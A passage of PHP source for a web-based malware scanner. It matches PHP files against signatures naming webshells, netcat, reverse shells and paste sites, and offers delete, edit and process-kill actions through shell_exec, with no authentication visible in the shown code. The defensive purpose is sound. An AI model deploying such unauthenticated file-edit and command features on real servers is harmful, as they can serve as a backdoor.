            • <strong style="color:#0F6;">shell_exec() is available - Kill feature enabled</strong>
            <?php endif; ?>
        </div>
        
        <div style="margin:15px 0;">
            <strong style="color:#FF0;">[📋] ACTIVE PROCESSES:</strong>
            <div class="process-list"><?php 
                $procs = scanProcesses();
                foreach ($procs as $p) {
                    echo htmlspecialchars($p['output']) . "\n";
                }
            ?></div>
        </div>
        
        <form method="GET" onsubmit="return confirm('[⚠️] KILL PROCESS WARNING!\n\nUsername: <?php echo htmlspecialchars(getWebsiteUsername($_SERVER['DOCUMENT_ROOT'] ?? __DIR__)); ?>\n\nThis will execute:\n• pkill php / pkill -9 php\n• kill [PID] / kill -9 [PID]\n• pgrep -U <?php echo htmlspecialchars(getWebsiteUsername($_SERVER['DOCUMENT_ROOT'] ?? __DIR__)); ?> | xargs kill -9\n• pkill socket/netcat/reverse/backdoor\n\nContinue?');">
            <input type="hidden" name="scan_path" value="<?php echo htmlspecialchars($_SERVER['DOCUMENT_ROOT'] ?? __DIR__); ?>">
            <p style="color:#0A5; font-size:11px; margin:10px 0;">Select kill type:</p>
            <label><input type="radio" name="kill_type" value="all" checked> ALL (PHP + Socket + Suspicious)</label>
            <label><input type="radio" name="kill_type" value="php"> PHP Only</label>
            <label><input type="radio" name="kill_type" value="socket"> Socket/Netcat Only</label>
            <label><input type="radio" name="kill_type" value="suspicious"> Suspicious Only</label>
            <br><br>
            <button type="submit" name="kill_process" value="1" class="btn-kill">[ ☠️ KILL ALL MALICIOUS PROCESS ]</button>
        </form>
        
        <?php if (isset($kill_results)): ?>
            <div class="kill-result">
                <div class="kill-success">[✓] Detected Username: <?php echo htmlspecialchars($kill_results['detected_username']); ?></div>
                <div class="kill-success">[✓] Commands Executed: <?php echo $kill_results['killed']; ?></div>
                <?php if (isset($kill_results['error'])): ?><div class="kill-failed">[!] <?php echo htmlspecialchars($kill_results['error']); ?></div><?php endif; ?>
                <div class="kill-success">[✓] PIDs Killed: <?php echo implode(', ', array_slice($kill_results['pids_killed'], 0, 10)); ?></div>
            </div>
        <?php endif; ?>
    </div>
    <?php endif; ?>

<div class="container">
        <div class="main-content">
            <?php
            if (isset($_GET['scan']) || !isset($found_malware)) {
                $scan_path = $_GET['scan_path'] ?? ($_SERVER['DOCUMENT_ROOT'] ?? __DIR__);
                $max_depth = $_GET['max_depth'] ?? 10;
                $threat_filter = $_GET['threat_filter'] ?? 'critical'; // DEFAULT: CRITICAL ONLY
                $scan_path = realpath($scan_path) ?? $scan_path;
                
                $malware_signatures = [
                    'eval$', 'exec\(', 'system\(', 'passthru\(', 'shell_exec\(', 'popen\(', 'proc_open\(',
                    'base64_decode\(', 'gzinflate\(', 'str_rot13\(', 'rot13\(',
                    'assert\(', 'preg_replace.*/e', 'create_function\(',
                    'file_get_contents.*http', 'curl_exec\(', 'curl_init\(', 'fsockopen\(', 'socket_create\(',
                    'header\s*\(', 'geoplugin', 'countryCode', 'bot', 'crawler', 'spider', 'googlebot',
                    'file_put_contents\(', 'fwrite\(', 'fopen\(', 'unlink\(', 'rmdir\(', 'mkdir\(',
                    '\$_GET\(', '\$_POST\(', '\$_REQUEST\(', '\$_COOKIE\(', '\$_SERVER\(',
                    '@ini_set', '@set_time_limit', '@ignore_user_abort',
                    'register_shutdown_function\(', 'ob_start\(',
                    'dpaste.', 'pastebin.', 'hastebin.', 'pages.dev', 'vercel.app', 'netlify.app',
                    'exit\($;', 'die;', 'while\s*$.*true',
                    'c99', 'r57', 'b374k', 'wso', 'alfa', 'shell', 'backdoor', 'webshell',
                    'call_user_func\s*\(', 'call_user_func_array\s*\(',
                    "['\"][a-z]['\"]\s*\.\s*['\"][a-z]['\"]\s*\.\s*['\"][a-z]['\"]",
                    'chr\s*\(\s*\d+\s*$', 'pack\s*\(\s*[\'"]H',
                    "(['\"][a-zA-Z]['\"]\s*\.\s*){3,}", "(['\"][htps]['\"]\s*\.\s*){2,}",
                    'ini_get\s*\(\s*[\'"]allow_url_fopen[\'"]', 'function_exists\s*\(\s*[\'"]curl',
                    'constant\s*\(\s*[\'"]CURLOPT', '\\\\x[0-9a-fA-F]{2}', '\bgoto\b',
                    'password\s*=\s*[\'"]', 'passwd\s*=\s*[\'"]', 'auth\s*=\s*[\'"]',
                    'filemanager|file manager|FileManager', '403|404|401|forbidden',
                    'gzuncompress|zlib_decode', 'proc_get_status|proc_terminate',
                    'gsocket|gs_|g_socket', 'reverse|backconnect|back_connect',
                    'netcat|ncat|/bin/nc', 'socket_create|socket_connect',
                ];

$php_files = [];
                $scan_errors = [];
                $scanned_count = 0;

try {
                    $iterator = new RecursiveIteratorIterator(
                        new RecursiveDirectoryIterator($scan_path, RecursiveDirectoryIterator::SKIP_DOTS),
                        RecursiveIteratorIterator::SELF_FIRST
                    );
                    $iterator->setMaxDepth((int)$max_depth);
                    foreach ($iterator as $file) {
                        try {
                            if ($file->isFile() && $file->getExtension() === 'php') {
                                $realpath = $file->getRealPath();
                                if ($realpath) {
                                    $php_files[] = $realpath;
                                    $scanned_count++;
                                }
                            }
                        } catch (Exception $e) {
                            $scan_errors[] = "Skipped: " . $file->getPathname();
                        }
                    }
                } catch (Exception $e) {
                    $scan_errors[] = "Scan error: " . $e->getMessage();
                }

echo "<div class='scan-summary'>";
                echo "<div>[✓] Scan Path: <span style='color:#0FF;'>" . htmlspecialchars($scan_path) . "</span></div>";
                echo "<div>[✓] Max Depth: <span style='color:#0FF;'>" . $max_depth . "</span></div>";
                echo "<div>[✓] Filter Mode: <span style='color:#F00;'>" . strtoupper($threat_filter) . " ONLY</span></div>";
                echo "<div>[✓] Total PHP files: <span style='color:#0FF;'>" . number_format($scanned_count) . "</span></div>";
                echo "<div>[✓] Website User: <span style='color:#0FF;'>" . htmlspecialchars(getWebsiteUsername($scan_path)) . "</span></div>";
                echo "<div>[🔍] Obfuscation Detection: <span style='color:#F0F;'>25+ Patterns</span></div>";
                echo "<div>[☠️] Kill Process: <span style='color:#F00;'>" . (function_exists('shell_exec') ? 'ENABLED (User: ' . htmlspecialchars(getWebsiteUsername($scan_path)) . ')' : 'DISABLED (shell_exec)') . "</span></div>";
                if (!empty($scan_errors)) {
                    echo "<div style='color:#FF6;'>[!] " . count($scan_errors) . " errors (ignored)</div>";
                }
                echo "</div>";

$found_malware = [];
                $all_malware = [];
                $known_shells = [];
                $obfuscated_files = [];
                $concat_files = [];
                $hex_files = [];
                $goto_files = [];
                $backdoor_files = [];
                $shell_type_stats = [];
                $threat_stats = ['critical' => 0, 'high' => 0, 'medium' => 0, 'low' => 0];
                
                foreach ($php_files as $filepath) {
                    $content = @file_get_contents($filepath);
                    if ($content === false) continue;
                    $matches = [];
                    foreach ($malware_signatures as $signature) {
                        if (@preg_match("/$signature/i", $content)) {
                            $matches[] = $signature;
                        }
                    }
                    $shell_name = isKnownShell($content, $filepath);
                    $obfuscation_detected = detectObfuscation($content);
                    $shell_types = detectShellType($content);
                    $has_concat = false;
                    $has_hex = false;
                    $has_goto = false;
                    $has_backdoor = false;
                    foreach ($obfuscation_detected as $obf) {
                        if (stripos($obf, 'CONCAT') !== false) $has_concat = true;
                        if (stripos($obf, 'HEX') !== false) $has_hex = true;
                        if (stripos($obf, 'GOTO') !== false) $has_goto = true;
                    }
                    foreach ($shell_types as $st) {
                        if (stripos($st, 'BACKDOOR') !== false) $has_backdoor = true;
                        if (!isset($shell_type_stats[$st])) $shell_type_stats[$st] = 0;
                        $shell_type_stats[$st]++;
                    }
                    if (!empty($matches) || $shell_name || !empty($obfuscation_detected) || !empty($shell_types)) {
                        $perms = @fileperms($filepath);
                        $perm_octal = $perms ? substr(sprintf('%o', $perms), -4) : '????';
                        $mtime = @filemtime($filepath);
                        $ctime = @filectime($filepath);
                        $threat = getThreatLevel($matches, $obfuscation_detected, $shell_types);
                        
                        $threat_stats[$threat['level']]++;
                        
                        $file_data = [
                            'matches' => $matches,
                            'content' => $content,
                            'permission' => $perm_octal,
                            'mtime' => $mtime,
                            'ctime' => $ctime,
                            'threat' => $threat,
                            'shell_name' => $shell_name,
                            'obfuscation' => $obfuscation_detected,
                            'shell_types' => $shell_types,
                            'has_concat' => $has_concat,
                            'has_hex' => $has_hex,
                            'has_goto' => $has_goto,
                            'has_backdoor' => $has_backdoor
                        ];
                        
                        $all_malware[$filepath] = $file_data;
                        
                        // FILTER BY THREAT LEVEL
                        $show_file = false;
                        if ($threat_filter === 'critical' && $threat['level'] === 'CRITICAL') $show_file = true;
                        if ($threat_filter === 'high' && in_array($threat['level'], ['CRITICAL', 'HIGH'])) $show_file = true;
                        if ($threat_filter === 'all') $show_file = true;
                        
                        if ($show_file) {
                            $found_malware[$filepath] = $file_data;
                        }
                        
                        if ($shell_name) $known_shells[] = $filepath;
                        if (!empty($obfuscation_detected)) $obfuscated_files[] = $filepath;
                        if ($has_concat) $concat_files[] = $filepath;
                        if ($has_hex) $hex_files[] = $filepath;
                        if ($has_goto) $goto_files[] = $filepath;
                        if ($has_backdoor) $backdoor_files[] = $filepath;
                    }
                }
                uasort($found_malware, function($a, $b) {
                    return $b['mtime'] <=> $a['mtime'];
                });
            }

if (empty($found_malware)) {
                echo "<h2 style='color:#0F6;'>[🎉 SCAN COMPLETE — NO MALWARE DETECTED (Filter: " . strtoupper($threat_filter) . ")]</h2>";
                if (!empty($all_malware) && $threat_filter !== 'all') {
                    echo "<p style='color:#FF0;'>[ℹ️] " . count($all_malware) . " files detected but filtered out. <a href='?scan=1&threat_filter=all' style='color:#0FF;'>Show All</a></p>";
                }
            } else {
                echo "<h2 style='color:#F66;'>[❗ " . count($found_malware) . " SUSPICIOUS FILE(S) DETECTED (Filter: " . strtoupper($threat_filter) . ")]</h2>";
                
                echo "<div class='filter-box'>";
                echo "<strong style='color:#0FF;'>📊 THREAT STATISTICS:</strong><br>";
                echo "<span style='color:#F00;'>• CRITICAL: " . $threat_stats['critical'] . "</span> | ";
                echo "<span style='color:#F60;'>• HIGH: " . $threat_stats['high'] . "</span> | ";
                echo "<span style='color:#FF0;'>• MEDIUM: " . $threat_stats['medium'] . "</span> | ";
                echo "<span style='color:#0F6;'>• LOW: " . $threat_stats['low'] . "</span>";
                echo "</div>";
                
                echo "<div class='detection-stats'>";
                echo "<strong style='color:#0FF;'>📊 DETECTION STATISTICS:</strong><br>";
                echo "<div>• Known Shells: <span style='color:#F00;'>" . count($known_shells) . "</span></div>";
                echo "<div>• String Concatenation: <span style='color:#F0F;'>" . count($concat_files) . "</span></div>";
                echo "<div>• Hex Encoding: <span style='color:#FF0;'>" . count($hex_files) . "</span></div>";
                echo "<div>• Goto Statement: <span style='color:#F60;'>" . count($goto_files) . "</span></div>";
                echo "<div>• Backdoors: <span style='color:#F00;'>" . count($backdoor_files) . "</span></div>";
                echo "<div>• Total Obfuscated: <span style='color:#F0F;'>" . count($obfuscated_files) . "</span></div>";
                if (!empty($shell_type_stats)) {
                    echo "<div style='margin-top:10px;'><strong>Shell Types:</strong></div>";
                    foreach ($shell_type_stats as $type => $count) {
                        echo "<div style='color:#F60;'>• $type: $count</div>";
                    }
                }
                echo "</div>";
                
                if (!empty($known_shells)) {
                    echo "<div class='warning-box'>";
                    echo "<strong style='color:#F00;'>[☠️] KNOWN SHELLS: " . count($known_shells) . "</strong><br>";
                    foreach (array_slice($known_shells, 0, 5) as $shell) {
                        echo "<span style='color:#F66;'>• " . htmlspecialchars($shell) . "</span><br>";
                    }
                    if (count($known_shells) > 5) echo "<span>... +" . (count($known_shells) - 5) . " more</span>";
                    echo "</div>";
                }
                if (!empty($concat_files)) {
                    echo "<div class='warning-box' style='background:#303; border-color:#F0F;'>";
                    echo "<strong style='color:#F0F;'>[🧵] STRING CONCATENATION: " . count($concat_files) . "</strong><br>";
                    foreach (array_slice($concat_files, 0, 5) as $cf) {
                        echo "<span style='color:#F6F;'>• " . htmlspecialchars(basename($cf)) . "</span><br>";
                    }
                    if (count($concat_files) > 5) echo "<span>... +" . (count($concat_files) - 5) . " more</span>";
                    echo "</div>";
                }
                if (!empty($backdoor_files)) {
                    echo "<div class='warning-box' style='background:#300; border-color:#F00;'>";
                    echo "<strong style='color:#F00;'>[🚪] BACKDOORS: " . count($backdoor_files) . "</strong><br>";
                    foreach (array_slice($backdoor_files, 0, 5) as $bf) {
                        echo "<span style='color:#F66;'>• " . htmlspecialchars(basename($bf)) . "</span><br>";
                    }
                    if (count($backdoor_files) > 5) echo "<span>... +" . (count($backdoor_files) - 5) . " more</span>";
                    echo "</div>";
                }

echo '<form method="POST" onsubmit="return confirm(\'[!] DELETE ALL SELECTED FILES?\')">';
                echo '<input type="hidden" name="action" value="bulk_delete">';
                echo '<label><input type="checkbox" class="select-all" onclick="toggleCheckboxes(this)"> [ SELECT ALL ]</label>';
                echo ' <button type="submit" class="btn-bulk">[ DELETE SELECTED ]</button>';
                echo '<div class="checkbox-container">';

foreach ($found_malware as $filepath => $data) {
                    $encoded_path = urlencode($filepath);
                    $publicUrl = filePathToUrl($filepath);
                    echo "<div class='file-item critical-only' style='border-left-color: " . $data['threat']['color'] . ";'>";
                    $mtime_str = date('Y-m-d H:i:s', $data['mtime']);
                    echo "<div class='file-info'>🕒 Modified: $mtime_str | <span class='permission'>PERM: " . $data['permission'] . "</span></div>";
                    echo "<label>";
                    echo "<input type='checkbox' name='files[]' value='" . $encoded_path . "' class='file-checkbox'>";
                    echo "<a href='" . htmlspecialchars($publicUrl) . "' target='_blank' class='file-path'>" . htmlspecialchars($filepath) . "</a>";
                    echo "<span class='threat-badge' style='background:" . $data['threat']['color'] . "; color:#000;'>" . $data['threat']['icon'] . " " . $data['threat']['level'] . "</span>";
                    if ($data['shell_name']) echo "<span class='shell-badge'>[SHELL: " . strtoupper($data['shell_name']) . "]</span>";
                    if ($data['has_concat']) echo "<span class='obfuscation-badge'>[🧵 CONCAT]</span>";
                    if ($data['has_hex']) echo "<span class='obfuscation-badge' style='background:#FF0; color:#000;'>[🔐 HEX]</span>";
                    if ($data['has_goto']) echo "<span class='obfuscation-badge' style='background:#F60; color:#000;'>[➡️ GOTO]</span>";
                    if ($data['has_backdoor']) echo "<span class='shell-type-badge'>[🚪 BACKDOOR]</span>";
                    echo "</label><br>";
                    if (!empty($data['shell_types'])) {
                        echo "<div class='shell-type-list'>";
                        echo "<strong style='color:#F60;'>[📋] SHELL TYPES:</strong><br>";
                        foreach ($data['shell_types'] as $st) {
                            echo "• " . htmlspecialchars($st) . "<br>";
                        }
                        echo "</div>";
                    }
                    if (!empty($data['obfuscation'])) {
                        echo "<div class='obfuscation-list'>";
                        echo "<strong style='color:#F0F;'>[🔍] OBFUSCATION:</strong><br>";
                        foreach (array_slice($data['obfuscation'], 0, 5) as $obf) {
                            echo "• " . htmlspecialchars($obf) . "<br>";
                        }
                        if (count($data['obfuscation']) > 5) echo "• ... +" . (count($data['obfuscation']) - 5) . " more<br>";
                        echo "</div>";
                    }
                    echo "<div class='action-buttons'>";
                    if ($enable_delete) {
                        echo "<a href='?delete=" . $encoded_path . "' class='btn-delete' onclick='return confirm(\"[!] DELETE?\")'>[ DELETE ]</a>";
                        echo "<a href='?clean=" . $encoded_path . "' class='btn-clean' onclick='return confirm(\"[!] CLEAN?\")'>[ CLEAN ]</a>";
                        echo "<a href='?edit=" . $encoded_path . "' class='btn-edit'>[ ✏️ EDIT ]</a>";
                        echo "<a href='?fixperm=" . $encoded_path . "' class='btn-fix'>[ FIX PERM ]</a>";
                    }
                    echo "</div>";
                    echo "<div class='content-preview'>";
                    $lines = explode("\n", $data['content']);
                    $preview_lines = array_slice($lines, 0, 20);
                    foreach ($preview_lines as $line) {
                        $is_malicious = false;
                        $is_concat = false;
                        $is_hex = false;
                        foreach ($malware_signatures as $sig) {
                            if (@preg_match("/$sig/i", $line)) {
                                $is_malicious = true;
                                break;
                            }
                        }
                        if (@preg_match("/(['\"][a-zA-Z]['\"]\s*\.\s*){3,}/i", $line)) $is_concat = true;
                        if (@preg_match("/\\\\x[0-9a-fA-F]{2}/i", $line)) $is_hex = true;
                        if ($is_concat) {
                            echo "<span class='concat-highlight'>" . htmlspecialchars($line) . "</span>\n";
                        } elseif ($is_hex) {
                            echo "<span class='hex-highlight'>" . htmlspecialchars($line) . "</span>\n";
                        } elseif ($is_malicious) {
                            echo "<span class='malicious-highlight'>" . htmlspecialchars($line) . "</span>\n";
                        } else {
                            echo htmlspecialchars($line) . "\n";
                        }
                    }
                    if (count($lines) > 20) echo "<span style='color:#FF6;'>... [ " . (count($lines) - 20) . " more ]</span>\n";
                    echo "</div>";
                    echo "</div>";
                }
                echo '</div>';
                echo '<button type="submit" class="btn-bulk">[ DELETE SELECTED ]</button>';
                echo '</form>';
                echo "<div class='line'></div>";
                echo "<p style='color:#FF6;'>[!] DELETE THIS SCRIPT AFTER USE!</p>";
            }
            ?>
        </div>

<div class="recent-files">
            <h2>📥 Recent Files (30 Days)</h2>
            <p style="font-size:11px; color:#0A5;">Use scan above for full detection</p>
        </div>
    </div>

<div class="line"></div>
    <p style="text-align: center; color: #0AF; font-size: 11px;">
        [ STATUS: <span style="color: <?php echo empty($found_malware) ? '#0F6' : '#F66'; ?>;"><?php echo empty($found_malware) ? 'SECURE' : 'COMPROMISED'; ?></span> ]
        | [ USER: <?php echo htmlspecialchars(getCurrentUsername()); ?> ]
        | [ WEBSITE USER: <?php echo htmlspecialchars(getWebsiteUsername($_SERVER['DOCUMENT_ROOT'] ?? __DIR__)); ?> ]
        | [ NO LOG FILES - CLEAN OPERATION ]
    </p>
    <script>
        function toggleCheckboxes(source) { document.querySelectorAll('.file-checkbox').forEach(cb => cb.checked = source.checked); }
        window.scrollTo(0, document.body.scrollHeight);
    </script>
</body>
</html>

${this.title}

Code Editor : config.php